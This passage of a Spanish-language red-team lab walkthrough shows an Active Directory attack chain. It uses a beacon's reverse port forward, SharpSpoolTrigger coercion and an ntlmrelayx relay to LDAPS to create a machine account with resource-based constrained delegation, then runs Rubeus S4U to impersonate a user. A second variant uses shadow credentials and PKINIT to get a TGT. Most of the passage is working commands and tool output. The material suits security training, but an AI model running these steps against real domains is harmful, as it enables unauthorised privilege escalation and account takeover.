Una vez que eso esté configurado y en ejecución, abre un puerto en el firewall y configura el reverse port forward.

beacon> getuid
[*] You are DEV\bfarmer (admin)

beacon> powershell New-NetFirewallRule -DisplayName "8888-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8888
beacon> rportfwd 8888 localhost 8888

Luego usa SharpSystemTriggers para desencadenar la autenticación. La URL de WebDAV debe apuntar al reverse port forward.

beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe wkstn-1 wkstn-2@8888/pwned

Una vez que el tráfico llegue a ntlmrelayx, se retransmitirá al controlador de dominio.

[*] HTTPD(8888): Connection from 127.0.0.1 controlled, attacking target ldaps://10.10.122.10
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:636-<><>-OK
[*] HTTPD(8888): Authenticating against ldaps://10.10.122.10 as DEV/WKSTN-1$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=dev,DC=cyberbotic,DC=io
[*] Adding new computer with username: PVWUMPYT$ and password: 4!t1}}I_CGJ}0OJ result: OK
[*] Delegation rights modified succesfully!
[*] PVWUMPYT$ can now impersonate users on WKSTN-1$ via S4U2Proxy

Como indica el resultado anterior, se creó una nueva cuenta de máquina PVWUMPYT$ con la contraseña 4!t1}}I_CGJ}0OJ, que ahora tiene derechos de delegación sobre WKSTN-1$. Para completar la cadena de ataque, calcula el hash AES256 de la contraseña.

PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /domain:dev.cyberbotic.io /user:PVWUMPYT$ /password:'4!t1}}I_CGJ}0OJ'

[*] Action: Calculate Password Hash(es)

[*] Input password             : 4!t1}}I_CGJ}0OJ
[*] Input username             : PVWUMPYT$
[*] Input domain               : dev.cyberbotic.io
[*] Salt                       : DEV.CYBERBOTIC.IOhostpvwumpyt.dev.cyberbotic.io
[*]       rc4_hmac             : 2405A4D372AD265E38CF96FD6AF9B287
[*]       aes128_cts_hmac_sha1 : 8C7958F5262F804225B24D932BE02840
[*]       aes256_cts_hmac_sha1 : 46B94228F43282498F562FEF99C5C4AF67269BE5C8AD31B193135C7BD38A28A2
[*]       des_cbc_md5          : 49E0B985C1E00808

Luego realiza el S4U2Proxy para solicitar los tickets de servicio de tu elección.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:PVWUMPYT$ /impersonateuser:nlamb /msdsspn:cifs/wkstn-1.dev.cyberbotic.io /aes256:46B94228F43282498F562FEF99C5C4AF67269BE5C8AD31B193135C7BD38A28A2 /nowrap

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: 46B94228F43282498F562FEF99C5C4AF67269BE5C8AD31B193135C7BD38A28A2
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\PVWUMPYT$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFyj[...snip...]5pbw==

[*] Action: S4U

[*] Building S4U2self request for: 'PVWUMPYT$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'PVWUMPYT$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

    doIFhj[...snip...]BZVCQ=

[*] Impersonating user 'nlamb' to target SPN 'cifs/wkstn-1.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/wkstn-1.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/wkstn-1.dev.cyberbotic.io':

    doIGfj[...snip...]5pbw==

No olvides eliminar la cuenta de computadora falsa.

La opción shadow credentials generará automáticamente un archivo de certificado para ti.

attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t ldaps://10.10.122.10 --shadow-credentials -smb2support --http-port 8888

[...snip...]

[*] HTTPD(8888): Connection from 127.0.0.1 controlled, attacking target ldaps://10.10.122.10
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:636-<><>-OK
[*] HTTPD(8888): Authenticating against ldaps://10.10.122.10 as DEV/WKSTN-1$ SUCCEED
[*] Enumerating relayed users privileges. This may take a while on large domains
[*] Searching for the target account
[*] Target user found: CN=WKSTN-1,OU=Workstations,DC=dev,DC=cyberbotic,DC=io
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: f2648f64-f170-cdaf-ba91-e4c0f0dfc540
[*] Updating the msDS-KeyCredentialLink attribute of WKSTN-1$
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: ROsU1G59.pfx
[*] Must be used with password: wBaP2YhsR7RgY0MZ6jwk
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[*] Run the following command to obtain a TGT
[*] python3 PKINITtools/gettgtpkinit.py -cert-pfx ROsU1G59.pfx -pfx-pass wBaP2YhsR7RgY0MZ6jwk dev.cyberbotic.io/WKSTN-1$ ROsU1G59.ccache

Este se puede convertir al formato ccache para usar con Impacket, o codificar en base64 para usar con Rubeus.

attacker@ubuntu ~> cat ROsU1G59.pfx | base64 -w 0
MIII3Q[...snip...]YFLqI=

Dado que esto es un certificado, lo usamos para solicitar primero un TGT, que luego se puede utilizar para S4U2Self.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-1$ /enctype:aes256 /certificate:MIII3Q[...snip...]YFLqI= /password:wBaP2YhsR7RgY0MZ6jwk /nowrap

[*] Action: Ask TGT

[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=WKSTN-1$ 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\WKSTN-1$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIGkD[...snip...]5pbw==

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  WKSTN-1$
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  3/7/2024 7:21:57 PM
  EndTime                  :  3/8/2024 5:21:57 AM
  RenewTill                :  3/14/2024 7:21:57 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  +AsTZnOAH3IJ3FX03HAXvFQ1WGFp4yCF3NZ3YtBnmTo=
  ASREP (key)              :  6F0D7FCE1705DD3D851AEA768F8BDBA6BA24194D012A0A06A05B52F60108D946

Asegúrate de eliminar las claves después del ataque.